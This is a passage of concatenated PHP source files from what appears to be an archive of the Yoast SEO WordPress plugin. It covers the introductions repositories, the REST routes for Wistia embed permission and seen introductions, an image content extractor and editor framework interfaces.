	 * @return bool The current value.
	 *
	 * @throws Exception If an invalid user ID is supplied.
	 */
	public function get_value_for_user( $user_id ) {
		$value = $this->user_helper->get_meta( $user_id, self::USER_META_KEY, true );
		if ( $value === false ) {
			throw new Exception( 'Invalid User ID' );
		}

		if ( $value === '0' || $value === '1' ) {
			// The value is stored as a string because otherwise we can not see the difference between false and an invalid user ID.
			return $value === '1';
		}

		/**
		 * Why could $value be invalid?
		 * - When the database row does not exist yet, $value can be an empty string.
		 * - Faulty data was stored?
		 */
		return self::DEFAULT_VALUE;
	}

	/**
	 * Sets the Wistia embed permission value for the current user.
	 *
	 * @param int  $user_id The user ID.
	 * @param bool $value   The value.
	 *
	 * @return bool Whether the update was successful.
	 *
	 * @throws Exception If an invalid user ID is supplied.
	 */
	public function set_value_for_user( $user_id, $value ) {
		// The value is stored as a string because otherwise we can not see the difference between false and an invalid user ID.
		$value_as_string = ( $value === true ) ? '1' : '0';

		// Checking for only false, not interested in not having to update.
		return $this->user_helper->update_meta( $user_id, self::USER_META_KEY, $value_as_string ) !== false;
	}
}
wordpress-seo/src/introductions/infrastructure/introductions-seen-repository.php000064400000006370147510273100024723 0ustar00<?php

namespace Yoast\WP\SEO\Introductions\Infrastructure;

use Yoast\WP\SEO\Helpers\User_Helper;
use Yoast\WP\SEO\Introductions\Domain\Invalid_User_Id_Exception;

/**
 * Stores and retrieves whether the user has seen certain introductions.
 */
class Introductions_Seen_Repository {

	public const USER_META_KEY = '_yoast_wpseo_introductions';

	public const DEFAULT_VALUE = [];

	/**
	 * Holds the User_Helper instance.
	 *
	 * @var User_Helper
	 */
	private $user_helper;

	/**
	 * Constructs the class.
	 *
	 * @param User_Helper $user_helper The User_Helper.
	 */
	public function __construct( User_Helper $user_helper ) {
		$this->user_helper = $user_helper;
	}

	/**
	 * Retrieves the introductions.
	 *
	 * @param int $user_id User ID.
	 *
	 * @return array The introductions.
	 *
	 * @throws Invalid_User_Id_Exception If an invalid user ID is supplied.
	 */
	public function get_all_introductions( $user_id ): array {
		$seen_introductions = $this->user_helper->get_meta( $user_id, self::USER_META_KEY, true );
		if ( $seen_introductions === false ) {
			throw new Invalid_User_Id_Exception();
		}

		if ( \is_array( $seen_introductions ) ) {
			return $seen_introductions;
		}

		/**
		 * Why could $value be invalid?
		 * - When the database row does not exist yet, $value can be an empty string.
		 * - Faulty data was stored?
		 */
		return self::DEFAULT_VALUE;
	}

	/**
	 * Sets the introductions.
	 *
	 * @param int   $user_id       The user ID.
	 * @param array $introductions The introductions.
	 *
	 * @return bool True on successful update, false on failure or if the value passed to the function is the same as
	 *              the one that is already in the database.
	 */
	public function set_all_introductions( $user_id, array $introductions ): bool {
		return $this->user_helper->update_meta( $user_id, self::USER_META_KEY, $introductions ) !== false;
	}

	/**
	 * Retrieves whether an introduction is seen.
	 *
	 * @param int    $user_id         User ID.
	 * @param string $introduction_id The introduction ID.
	 *
	 * @return bool Whether the introduction is seen.
	 *
	 * @throws Invalid_User_Id_Exception If an invalid user ID is supplied.
	 */
	public function is_introduction_seen( $user_id, string $introduction_id ): bool {
		$introductions = $this->get_all_introductions( $user_id );

		if ( \array_key_exists( $introduction_id, $introductions ) ) {
			return (bool) $introductions[ $introduction_id ];
		}

		return false;
	}

	/**
	 * Sets the introduction as seen.
	 *
	 * @param int    $user_id         The user ID.
	 * @param string $introduction_id The introduction ID.
	 * @param bool   $is_seen         Whether the introduction is seen. Defaults to true.
	 *
	 * @return bool False on failure. Not having to update is a success.
	 *
	 * @throws Invalid_User_Id_Exception If an invalid user ID is supplied.
	 */
	public function set_introduction( $user_id, string $introduction_id, bool $is_seen = true ): bool {
		$introductions = $this->get_all_introductions( $user_id );

		// Check if the wanted value is already set.
		if ( \array_key_exists( $introduction_id, $introductions ) && $introductions[ $introduction_id ] === $is_seen ) {
			return true;
		}
		$introductions[ $introduction_id ] = $is_seen;

		return $this->set_all_introductions( $user_id, $introductions );
	}
}
wordpress-seo/src/introductions/user-interface/introductions-integration.php000064400000011674147510273100023736 0ustar00<?php

namespace Yoast\WP\SEO\Introductions\User_Interface;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin\Yoast_Admin_Conditional;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\Short_Link_Helper;
use Yoast\WP\SEO\Helpers\User_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Introductions\Application\Current_Page_Trait;
use Yoast\WP\SEO\Introductions\Application\Introductions_Collector;
use Yoast\WP\SEO\Introductions\Infrastructure\Wistia_Embed_Permission_Repository;

/**
 * Loads introduction modal scripts, when there are applicable introductions.
 */
class Introductions_Integration implements Integration_Interface {

	use Current_Page_Trait;

	public const SCRIPT_HANDLE = 'introductions';

	/**
	 * Holds the admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $admin_asset_manager;

	/**
	 * Holds the introduction collector.
	 *
	 * @var Introductions_Collector
	 */
	private $introductions_collector;

	/**
	 * Holds the product helper.
	 *
	 * @var Product_Helper
	 */
	private $product_helper;

	/**
	 * Holds the user helper.
	 *
	 * @var User_Helper
	 */
	private $user_helper;

	/**
	 * Holds the short link helper.
	 *
	 * @var Short_Link_Helper
	 */
	private $short_link_helper;

	/**
	 * Holds the repository.
	 *
	 * @var Wistia_Embed_Permission_Repository
	 */
	private $wistia_embed_permission_repository;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * In this case: when on an admin page.
	 *
	 * @return array<string>
	 */
	public static function get_conditionals() {
		return [ Yoast_Admin_Conditional::class ];
	}

	/**
	 * Constructs the integration.
	 *
	 * @param WPSEO_Admin_Asset_Manager          $admin_asset_manager                The admin asset manager.
	 * @param Introductions_Collector            $introductions_collector            The introductions' collector.
	 * @param Product_Helper                     $product_helper                     The product helper.
	 * @param User_Helper                        $user_helper                        The user helper.
	 * @param Short_Link_Helper                  $short_link_helper                  The short link helper.
	 * @param Wistia_Embed_Permission_Repository $wistia_embed_permission_repository The repository.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $admin_asset_manager,
		Introductions_Collector $introductions_collector,
		Product_Helper $product_helper,
		User_Helper $user_helper,
		Short_Link_Helper $short_link_helper,
		Wistia_Embed_Permission_Repository $wistia_embed_permission_repository
	) {
		$this->admin_asset_manager                = $admin_asset_manager;
		$this->introductions_collector            = $introductions_collector;
		$this->product_helper                     = $product_helper;
		$this->user_helper                        = $user_helper;
		$this->short_link_helper                  = $short_link_helper;
		$this->wistia_embed_permission_repository = $wistia_embed_permission_repository;
	}

	/**
	 * Registers the action to enqueue the needed script(s).
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( $this->is_on_installation_page() ) {
			return;
		}
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
	}

	/**
	 * Enqueue the new features assets.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		$user_id       = $this->user_helper->get_current_user_id();
		$introductions = $this->introductions_collector->get_for( $user_id );
		if ( ! $introductions ) {
			// Bail when there are no introductions to show.
			return;
		}
		// Update user meta to have "seen" these introductions.
		$this->update_user_introductions( $user_id, $introductions );

		$this->admin_asset_manager->enqueue_script( self::SCRIPT_HANDLE );
		$this->admin_asset_manager->localize_script(
			self::SCRIPT_HANDLE,
			'wpseoIntroductions',
			[
				'introductions'         => $introductions,
				'isPremium'             => $this->product_helper->is_premium(),
				'isRtl'                 => \is_rtl(),
				'linkParams'            => $this->short_link_helper->get_query_params(),
				'pluginUrl'             => \plugins_url( '', \WPSEO_FILE ),
				'wistiaEmbedPermission' => $this->wistia_embed_permission_repository->get_value_for_user( $user_id ),
			]
		);
		$this->admin_asset_manager->enqueue_style( 'introductions' );
	}

	/**
	 * Updates the user metadata to have "seen" the introductions.
	 *
	 * @param int   $user_id       The user ID.
	 * @param array $introductions The introductions.
	 *
	 * @return void
	 */
	private function update_user_introductions( $user_id, $introductions ) {
		$metadata = $this->user_helper->get_meta( $user_id, '_yoast_wpseo_introductions', true );
		if ( ! \is_array( $metadata ) ) {
			$metadata = [];
		}
		foreach ( $introductions as $introduction ) {
			$metadata[ $introduction['id'] ] = true;
		}
		$this->user_helper->update_meta( $user_id, '_yoast_wpseo_introductions', $metadata );
	}
}
wordpress-seo/src/introductions/user-interface/wistia-embed-permission-route.php000064400000007254147510273100024404 0ustar00<?php

namespace Yoast\WP\SEO\Introductions\User_Interface;

use Exception;
use WP_Error;
use WP_REST_Request;
use WP_REST_Response;
use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Helpers\User_Helper;
use Yoast\WP\SEO\Introductions\Infrastructure\Wistia_Embed_Permission_Repository;
use Yoast\WP\SEO\Main;
use Yoast\WP\SEO\Routes\Route_Interface;

/**
 * Registers a route to offer get/set of the wistia embed permission for a user.
 */
class Wistia_Embed_Permission_Route implements Route_Interface {

	use No_Conditionals;

	/**
	 * Represents the prefix.
	 *
	 * @var string
	 */
	public const ROUTE_PREFIX = '/wistia_embed_permission';

	/**
	 * Holds the repository.
	 *
	 * @var Wistia_Embed_Permission_Repository
	 */
	private $wistia_embed_permission_repository;

	/**
	 * Holds the user helper.
	 *
	 * @var User_Helper
	 */
	private $user_helper;

	/**
	 * Constructs the class.
	 *
	 * @param Wistia_Embed_Permission_Repository $wistia_embed_permission_repository The repository.
	 * @param User_Helper                        $user_helper                        The user helper.
	 */
	public function __construct(
		Wistia_Embed_Permission_Repository $wistia_embed_permission_repository,
		User_Helper $user_helper
	) {
		$this->wistia_embed_permission_repository = $wistia_embed_permission_repository;
		$this->user_helper                        = $user_helper;
	}

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes() {
		\register_rest_route(
			Main::API_V1_NAMESPACE,
			self::ROUTE_PREFIX,
			[
				[
					'methods'             => 'GET',
					'callback'            => [ $this, 'get_wistia_embed_permission' ],
					'permission_callback' => [ $this, 'permission_edit_posts' ],
				],
				[
					'methods'             => 'POST',
					'callback'            => [ $this, 'set_wistia_embed_permission' ],
					'permission_callback' => [ $this, 'permission_edit_posts' ],
					'args'                => [
						'value' => [
							'required'          => false,
							'type'              => 'bool',
							'default'           => true,
						],
					],
				],
			]
		);
	}

	/**
	 * Gets the value of the wistia embed permission.
	 *
	 * @return WP_REST_Response|WP_Error The response, or an error.
	 */
	public function get_wistia_embed_permission() {
		try {
			$user_id = $this->user_helper->get_current_user_id();
			$value   = $this->wistia_embed_permission_repository->get_value_for_user( $user_id );
		} catch ( Exception $exception ) {
			return new WP_Error(
				'wpseo_wistia_embed_permission_error',
				$exception->getMessage(),
				(object) []
			);
		}

		return new WP_REST_Response(
			[
				'json' => (object) [
					'value' => $value,
				],
			]
		);
	}

	/**
	 * Sets the value of the wistia embed permission.
	 *
	 * @param WP_REST_Request $request The request object.
	 *
	 * @return WP_REST_Response|WP_Error The success or failure response.
	 */
	public function set_wistia_embed_permission( WP_REST_Request $request ) {
		$params = $request->get_json_params();
		$value  = \boolval( $params['value'] );

		try {
			$user_id = $this->user_helper->get_current_user_id();
			$result  = $this->wistia_embed_permission_repository->set_value_for_user( $user_id, $value );
		} catch ( Exception $exception ) {
			return new WP_Error(
				'wpseo_wistia_embed_permission_error',
				$exception->getMessage(),
				(object) []
			);
		}

		return new WP_REST_Response(
			[
				'json' => (object) [
					'success' => $result,
				],
			],
			( $result ) ? 200 : 400
		);
	}

	/**
	 * Permission callback.
	 *
	 * @return bool True when user has 'edit_posts' permission.
	 */
	public function permission_edit_posts() {
		return \current_user_can( 'edit_posts' );
	}
}
wordpress-seo/src/introductions/user-interface/introductions-seen-route.php000064400000007301147510273100023471 0ustar00<?php

namespace Yoast\WP\SEO\Introductions\User_Interface;

use Exception;
use WP_Error;
use WP_REST_Request;
use WP_REST_Response;
use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Helpers\User_Helper;
use Yoast\WP\SEO\Introductions\Application\Introductions_Collector;
use Yoast\WP\SEO\Introductions\Infrastructure\Introductions_Seen_Repository;
use Yoast\WP\SEO\Main;
use Yoast\WP\SEO\Routes\Route_Interface;

/**
 * Registers a route to set whether the user has seen an introduction.
 *
 * @makePublic
 */
class Introductions_Seen_Route implements Route_Interface {

	use No_Conditionals;

	/**
	 * Represents the prefix.
	 *
	 * @var string
	 */
	public const ROUTE_PREFIX = '/introductions/(?P<introduction_id>[\w-]+)/seen';

	/**
	 * Holds the introductions collector instance.
	 *
	 * @var Introductions_Collector
	 */
	private $introductions_collector;

	/**
	 * Holds the repository.
	 *
	 * @var Introductions_Seen_Repository
	 */
	private $introductions_seen_repository;

	/**
	 * Holds the user helper.
	 *
	 * @var User_Helper
	 */
	private $user_helper;

	/**
	 * Constructs the class.
	 *
	 * @param Introductions_Seen_Repository $introductions_seen_repository The repository.
	 * @param User_Helper                   $user_helper                   The user helper.
	 * @param Introductions_Collector       $introductions_collector       The introduction collector.
	 */
	public function __construct(
		Introductions_Seen_Repository $introductions_seen_repository,
		User_Helper $user_helper,
		Introductions_Collector $introductions_collector
	) {
		$this->introductions_seen_repository = $introductions_seen_repository;
		$this->user_helper                   = $user_helper;
		$this->introductions_collector       = $introductions_collector;
	}

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes() {
		\register_rest_route(
			Main::API_V1_NAMESPACE,
			self::ROUTE_PREFIX,
			[
				[
					'methods'             => 'POST',
					'callback'            => [ $this, 'set_introduction_seen' ],
					'permission_callback' => [ $this, 'permission_edit_posts' ],
					'args'                => [
						'introduction_id' => [
							'required'          => true,
							'type'              => 'string',
							'sanitize_callback' => 'sanitize_text_field',
						],
						'is_seen'         => [
							'required'          => false,
							'type'              => 'bool',
							'default'           => true,
							'sanitize_callback' => 'rest_sanitize_boolean',
						],
					],
				],
			]
		);
	}

	/**
	 * Sets whether the introduction is seen.
	 *
	 * @param WP_REST_Request $request The request object.
	 *
	 * @return WP_REST_Response|WP_Error The success or failure response.
	 */
	public function set_introduction_seen( WP_REST_Request $request ) {
		$params          = $request->get_params();
		$introduction_id = $params['introduction_id'];
		$is_seen         = $params['is_seen'];

		if ( $this->introductions_collector->is_available_introduction( $introduction_id ) ) {
			try {
				$user_id = $this->user_helper->get_current_user_id();
				$result  = $this->introductions_seen_repository->set_introduction( $user_id, $introduction_id, $is_seen );
			} catch ( Exception $exception ) {
				return new WP_Error(
					'wpseo_introductions_seen_error',
					$exception->getMessage(),
					(object) []
				);
			}

			return new WP_REST_Response(
				[
					'json' => (object) [
						'success' => $result,
					],
				],
				( $result ) ? 200 : 400
			);
		}
		return new WP_REST_Response( [], 400 );
	}

	/**
	 * Permission callback.
	 *
	 * @return bool True when user has 'edit_posts' permission.
	 */
	public function permission_edit_posts() {
		return \current_user_can( 'edit_posts' );
	}
}
wordpress-seo/src/introductions/application/user-allowed-trait.php000064400000000746147510273100021622 0ustar00<?php

namespace Yoast\WP\SEO\Introductions\Application;

trait User_Allowed_Trait {

	/**
	 * Determines whether the user has the required capabilities.
	 *
	 * @param string[] $capabilities The required capabilities.
	 *
	 * @return bool Whether the user has the required capabilities.
	 */
	private function is_user_allowed( $capabilities ) {
		foreach ( $capabilities as $capability ) {
			if ( ! \current_user_can( $capability ) ) {
				return false;
			}
		}

		return true;
	}
}
wordpress-seo/src/introductions/application/introductions-collector.php000064400000006613147510273100022765 0ustar00<?php

namespace Yoast\WP\SEO\Introductions\Application;

use Yoast\WP\SEO\Introductions\Domain\Introduction_Interface;
use Yoast\WP\SEO\Introductions\Domain\Introduction_Item;
use Yoast\WP\SEO\Introductions\Domain\Introductions_Bucket;
use Yoast\WP\SEO\Introductions\Infrastructure\Introductions_Seen_Repository;

/**
 * Manages the collection of introductions.
 */
class Introductions_Collector {

	/**
	 * Holds all the introductions.
	 *
	 * @var Introduction_Interface[]
	 */
	private $introductions;

	/**
	 * Constructs the collector.
	 *
	 * @param Introduction_Interface ...$introductions All the introductions.
	 */
	public function __construct( Introduction_Interface ...$introductions ) {
		$this->introductions = $this->add_introductions( ...$introductions );
	}

	/**
	 * Gets the data for the introductions.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return array The list of introductions.
	 */
	public function get_for( $user_id ) {
		$bucket   = new Introductions_Bucket();
		$metadata = $this->get_metadata( $user_id );

		foreach ( $this->introductions as $introduction ) {
			if ( ! $introduction->should_show() ) {
				continue;
			}
			if ( $this->is_seen( $introduction->get_id(), $metadata ) ) {
				continue;
			}
			$bucket->add_introduction(
				new Introduction_Item( $introduction->get_id(), $introduction->get_priority() )
			);
		}

		return $bucket->to_array();
	}

	/**
	 * Filters introductions with the 'wpseo_introductions' filter.
	 *
	 * @param Introduction_Interface ...$introductions The introductions.
	 *
	 * @return Introduction_Interface[]
	 */
	private function add_introductions( Introduction_Interface ...$introductions ) {
		/**
		 * Filter: Adds the possibility to add additional introductions to be included.
		 *
		 * @internal
		 *
		 * @param Introduction_Interface $introductions This filter expects a list of Introduction_Interface instances and
		 *                                              expects only Introduction_Interface implementations to be added to the list.
		 */
		$filtered_introductions = (array) \apply_filters( 'wpseo_introductions', $introductions );

		return \array_filter(
			$filtered_introductions,
			static function ( $introduction ) {
				return \is_a( $introduction, Introduction_Interface::class );
			}
		);
	}

	/**
	 * Retrieves the introductions metadata for the user.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return array The introductions' metadata.
	 */
	private function get_metadata( $user_id ) {
		$metadata = \get_user_meta( $user_id, Introductions_Seen_Repository::USER_META_KEY, true );
		if ( \is_array( $metadata ) ) {
			return $metadata;
		}

		return [];
	}

	/**
	 * Determines whether the user has seen the introduction.
	 *
	 * @param string   $name     The name.
	 * @param string[] $metadata The metadata.
	 *
	 * @return bool Whether the user has seen the introduction.
	 */
	private function is_seen( $name, $metadata ) {
		if ( \array_key_exists( $name, $metadata ) ) {
			return (bool) $metadata[ $name ];
		}

		return false;
	}

	/**
	 * Checks if the given introduction ID is a known ID to the system.
	 *
	 * @param string $introduction_id The introduction ID to check.
	 *
	 * @return bool
	 */
	public function is_available_introduction( string $introduction_id ): bool {
		foreach ( $this->introductions as $introduction ) {
			if ( $introduction->get_id() === $introduction_id ) {
				return true;
			}
		}

		return false;
	}
}
wordpress-seo/src/introductions/application/ai-fix-assessments-upsell.php000064400000003720147510273100023116 0ustar00<?php


namespace Yoast\WP\SEO\Introductions\Application;

use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\User_Helper;
use Yoast\WP\SEO\Introductions\Domain\Introduction_Interface;

/**
 * Represents the introduction for the AI fix assessments feature.
 */
class Ai_Fix_Assessments_Upsell implements Introduction_Interface {

	use User_Allowed_Trait;

	public const ID = 'ai-fix-assessments-upsell';

	/**
	 * Holds the user helper.
	 *
	 * @var User_Helper
	 */
	private $user_helper;

	/**
	 * Holds the product helper.
	 *
	 * @var Product_Helper
	 */
	private $product_helper;

	/**
	 * Constructs the introduction.
	 *
	 * @param User_Helper    $user_helper    The user helper.
	 * @param Product_Helper $product_helper The product helper.
	 */
	public function __construct( User_Helper $user_helper, Product_Helper $product_helper ) {
		$this->user_helper    = $user_helper;
		$this->product_helper = $product_helper;
	}

	/**
	 * Returns the ID.
	 *
	 * @return string The ID.
	 */
	public function get_id() {
		return self::ID;
	}

	/**
	 * Returns the name of the introdyction.
	 *
	 * @return string The name.
	 */
	public function get_name() {
		\_deprecated_function( __METHOD__, 'Yoast SEO Premium 21.6', 'Please use get_id() instead' );

		return self::ID;
	}

	/**
	 * Returns the requested pagination priority. Lower means earlier.
	 *
	 * @return int The priority.
	 */
	public function get_priority() {
		return 10;
	}

	/**
	 * Returns whether this introduction should show.
	 *
	 * @return bool Whether this introduction should show.
	 */
	public function should_show() {

		if ( $this->product_helper->is_premium() ) {
			return false;
		}

		// Get the current user ID, if no user is logged in we bail as this is needed for the next checks.
		$current_user_id = $this->user_helper->get_current_user_id();
		if ( $current_user_id === 0 ) {
			return false;
		}

		if ( ! $this->is_user_allowed( [ 'edit_posts' ] ) ) {
			return false;
		}

		return true;
	}
}
wordpress-seo/src/introductions/application/current-page-trait.php000064400000002512147510273100021604 0ustar00<?php

namespace Yoast\WP\SEO\Introductions\Application;

trait Current_Page_Trait {

	/**
	 * Determines whether the current page is applicable.
	 *
	 * @param string[] $pages The applicable pages.
	 *
	 * @return bool Whether the current page is applicable.
	 */
	private function is_on_yoast_page( $pages ) {
		return \in_array( $this->get_page(), $pages, true );
	}

	/**
	 * Determines whether the current page is one of our installation pages.
	 *
	 * @return bool Whether the current page is one of our installation pages.
	 */
	private function is_on_installation_page() {
		return $this->is_on_yoast_page( [ 'wpseo_installation_successful_free', 'wpseo_installation_successful' ] );
	}

	/**
	 * Retrieve the page variable.
	 *
	 * Note: the result is not safe to use in anything than strict comparisons!
	 *
	 * @return string The page variable.
	 */
	private function get_page() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['page'] ) && \is_string( $_GET['page'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, only using it in strict comparison.
			return \wp_unslash( $_GET['page'] );
		}

		return '';
	}
}
wordpress-seo/src/introductions/application/version-trait.php000064400000001141147510273100020672 0ustar00<?php

namespace Yoast\WP\SEO\Introductions\Application;

trait Version_Trait {

	/**
	 * Determines whether the version is between a min (inclusive) and max (exclusive).
	 *
	 * @param string $version     The version to compare.
	 * @param string $min_version The minimum version.
	 * @param string $max_version The maximum version.
	 *
	 * @return bool Whether the version is between a min and max.
	 */
	private function is_version_between( $version, $min_version, $max_version ) {
		return ( \version_compare( $version, $min_version, '>=' )
			&& \version_compare( $version, $max_version, '<' )
		);
	}
}
wordpress-seo/src/images/Application/image-content-extractor.php000064400000012334147510273100021136 0ustar00<?php

namespace Yoast\WP\SEO\Images\Application;

use DOMDocument;
use WP_HTML_Tag_Processor;

/**
 * The image content extractor.
 */
class Image_Content_Extractor {

	/**
	 * Gathers all images from content.
	 *
	 * @param string $content The content.
	 *
	 * @return int[] An associated array of image IDs, keyed by their URLs.
	 */
	public function gather_images( $content ) {

		/**
		 * Filter 'wpseo_force_creating_and_using_attachment_indexables' - Filters if we should use attachment indexables to find all content images. Instead of scanning the content.
		 *
		 * The default value is false.
		 *
		 * @since 21.1
		 */
		$should_not_parse_content = \apply_filters( 'wpseo_force_creating_and_using_attachment_indexables', false );
		/**
		 * Filter 'wpseo_force_skip_image_content_parsing' - Filters if we should force skip scanning the content to parse images.
		 * This filter can be used if the regex gives a faster result than scanning the code.
		 *
		 * The default value is false.
		 *
		 * @since 21.1
		 */
		$should_not_parse_content = \apply_filters( 'wpseo_force_skip_image_content_parsing', $should_not_parse_content );

		if ( ! $should_not_parse_content && \class_exists( WP_HTML_Tag_Processor::class ) ) {
			return $this->gather_images_wp( $content );
		}

		if ( ! $should_not_parse_content && \class_exists( DOMDocument::class ) ) {

			return $this->gather_images_DOMDocument( $content );
		}

		if ( \strpos( $content, 'src' ) === false ) {
			// Nothing to do.
			return [];
		}

		$images = [];
		$regexp = '<img\s[^>]*src=("??)([^" >]*?)\\1[^>]*>';
		// Used modifiers iU to match case insensitive and make greedy quantifiers lazy.
		if ( \preg_match_all( "/$regexp/iU", $content, $matches, \PREG_SET_ORDER ) ) {
			foreach ( $matches as $match ) {
				$images[ $match[2] ] = 0;
			}
		}

		return $images;
	}

	/**
	 * Gathers all images from content with WP's WP_HTML_Tag_Processor() and returns them along with their IDs, if
	 * possible.
	 *
	 * @param string $content The content.
	 *
	 * @return int[] An associated array of image IDs, keyed by their URL.
	 */
	protected function gather_images_wp( $content ) {
		$processor = new WP_HTML_Tag_Processor( $content );
		$images    = [];

		$query = [
			'tag_name' => 'img',
		];

		/**
		 * Filter 'wpseo_image_attribute_containing_id' - Allows filtering what attribute will be used to extract image IDs from.
		 *
		 * Defaults to "class", which is where WP natively stores the image IDs, in a `wp-image-<ID>` format.
		 *
		 * @api string The attribute to be used to extract image IDs from.
		 */
		$attribute = \apply_filters( 'wpseo_image_attribute_containing_id', 'class' );
		while ( $processor->next_tag( $query ) ) {
			$src_raw = $processor->get_attribute( 'src' );
			if ( ! $src_raw ) {
				continue;
			}

			$src     = \htmlentities( $src_raw, ( \ENT_QUOTES | \ENT_SUBSTITUTE | \ENT_HTML401 ), \get_bloginfo( 'charset' ) );
			$classes = $processor->get_attribute( $attribute );
			$id      = $this->extract_id_of_classes( $classes );

			$images[ $src ] = $id;
		}

		return $images;
	}

	/**
	 * Gathers all images from content with DOMDocument() and returns them along with their IDs, if possible.
	 *
	 * @param string $content The content.
	 *
	 * @return int[] An associated array of image IDs, keyed by their URL.
	 */
	protected function gather_images_domdocument( $content ) {
		$images  = [];
		$charset = \get_bloginfo( 'charset' );

		/**
		 * Filter 'wpseo_image_attribute_containing_id' - Allows filtering what attribute will be used to extract image IDs from.
		 *
		 * Defaults to "class", which is where WP natively stores the image IDs, in a `wp-image-<ID>` format.
		 *
		 * @api string The attribute to be used to extract image IDs from.
		 */
		$attribute = \apply_filters( 'wpseo_image_attribute_containing_id', 'class' );

		\libxml_use_internal_errors( true );
		$post_dom = new DOMDocument();
		$post_dom->loadHTML( '<?xml encoding="' . $charset . '">' . $content );
		\libxml_clear_errors();

		foreach ( $post_dom->getElementsByTagName( 'img' ) as $img ) {
			$src     = \htmlentities( $img->getAttribute( 'src' ), ( \ENT_QUOTES | \ENT_SUBSTITUTE | \ENT_HTML401 ), $charset );
			$classes = $img->getAttribute( $attribute );

			$id = $this->extract_id_of_classes( $classes );

			$images[ $src ] = $id;
		}

		return $images;
	}

	/**
	 * Extracts image ID out of the image's classes.
	 *
	 * @param string $classes The classes assigned to the image.
	 *
	 * @return int The ID that's extracted from the classes.
	 */
	protected function extract_id_of_classes( $classes ) {
		if ( ! $classes ) {
			return 0;
		}

		/**
		 * Filter 'wpseo_extract_id_pattern' - Allows filtering the regex patern to be used to extract image IDs from class/attribute names.
		 *
		 * Defaults to the pattern that extracts image IDs from core's `wp-image-<ID>` native format in image classes.
		 *
		 * @api string The regex pattern to be used to extract image IDs from class names. Empty string if the whole class/attribute should be returned.
		 */
		$pattern = \apply_filters( 'wpseo_extract_id_pattern', '/(?<!\S)wp-image-(\d+)(?!\S)/i' );

		if ( $pattern === '' ) {
			return (int) $classes;
		}

		$matches = [];

		if ( \preg_match( $pattern, $classes, $matches ) ) {

			return (int) $matches[1];
		}

		return 0;
	}
}
wordpress-seo/src/editors/framework/readability-analysis.php000064400000003136147510273100020443 0ustar00<?php

namespace Yoast\WP\SEO\Editors\Framework;

use Yoast\WP\SEO\Editors\Domain\Analysis_Features\Analysis_Feature_Interface;
use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * This class describes the Readability analysis feature.
 */
class Readability_Analysis implements Analysis_Feature_Interface {
	public const NAME = 'readabilityAnalysis';

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * If this analysis is enabled.
	 *
	 * @return bool If this analysis is enabled.
	 */
	public function is_enabled(): bool {
		return $this->is_globally_enabled() && $this->is_user_enabled();
	}

	/**
	 * If this analysis is enabled by the user.
	 *
	 * @return bool If this analysis is enabled by the user.
	 */
	private function is_user_enabled(): bool {
		return ! \get_user_meta( \get_current_user_id(), 'wpseo_content_analysis_disable', true );
	}

	/**
	 * If this analysis is enabled globally.
	 *
	 * @return bool If this analysis is enabled globally.
	 */
	private function is_globally_enabled(): bool {
		return (bool) $this->options_helper->get( 'content_analysis_active', true );
	}

	/**
	 * Gets the name.
	 *
	 * @return string The name.
	 */
	public function get_name(): string {
		return self::NAME;
	}

	/**
	 * Gets the legacy key.
	 *
	 * @return string The legacy key.
	 */
	public function get_legacy_key(): string {
		return 'contentAnalysisActive';
	}
}
wordpress-seo/src/editors/framework/seo/social-data-provider-interface.php000064400000001473147510273100023070 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Framework\Seo;

interface Social_Data_Provider_Interface {

	/**
	 * Gets the image URL for the post's social preview.
	 *
	 * @return string|null The image URL for the social preview.
	 */
	public function get_image_url(): ?string;

	/**
	 * Retrieves the social title template.
	 *
	 * @return string The social title template.
	 */
	public function get_social_title_template(): string;

	/**
	 * Retrieves the social description template.
	 *
	 * @return string The social description template.
	 */
	public function get_social_description_template(): string;

	/**
	 * Retrieves the social image template.
	 *
	 * @return string The social description template.
	 */
	public function get_social_image_template(): string;
}
wordpress-seo/src/editors/framework/seo/description-data-provider-interface.php000064400000000722147510273100024135 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Framework\Seo;

interface Description_Data_Provider_Interface {

	/**
	 * Retrieves the description template.
	 *
	 * @return string The description template.
	 */
	public function get_description_template(): string;

	/**
	 * Determines the date to be displayed in the snippet preview.
	 *
	 * @return string
	 */
	public function get_description_date(): string;
}
wordpress-seo/src/editors/framework/seo/keyphrase-interface.php000064400000000604147510273100021045 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Framework\Seo;

interface Keyphrase_Interface {

	/**
	 * Counts the number of given keyphrase used for other posts other than the given post_id.
	 *
	 * @return array<string> The keyphrase and the associated posts that use it.
	 */
	public function get_focus_keyphrase_usage(): array;
}
wordpress-seo/src/editors/framework/seo/posts/description-data-provider.php000064400000004470147510273100023353 0ustar00<?php
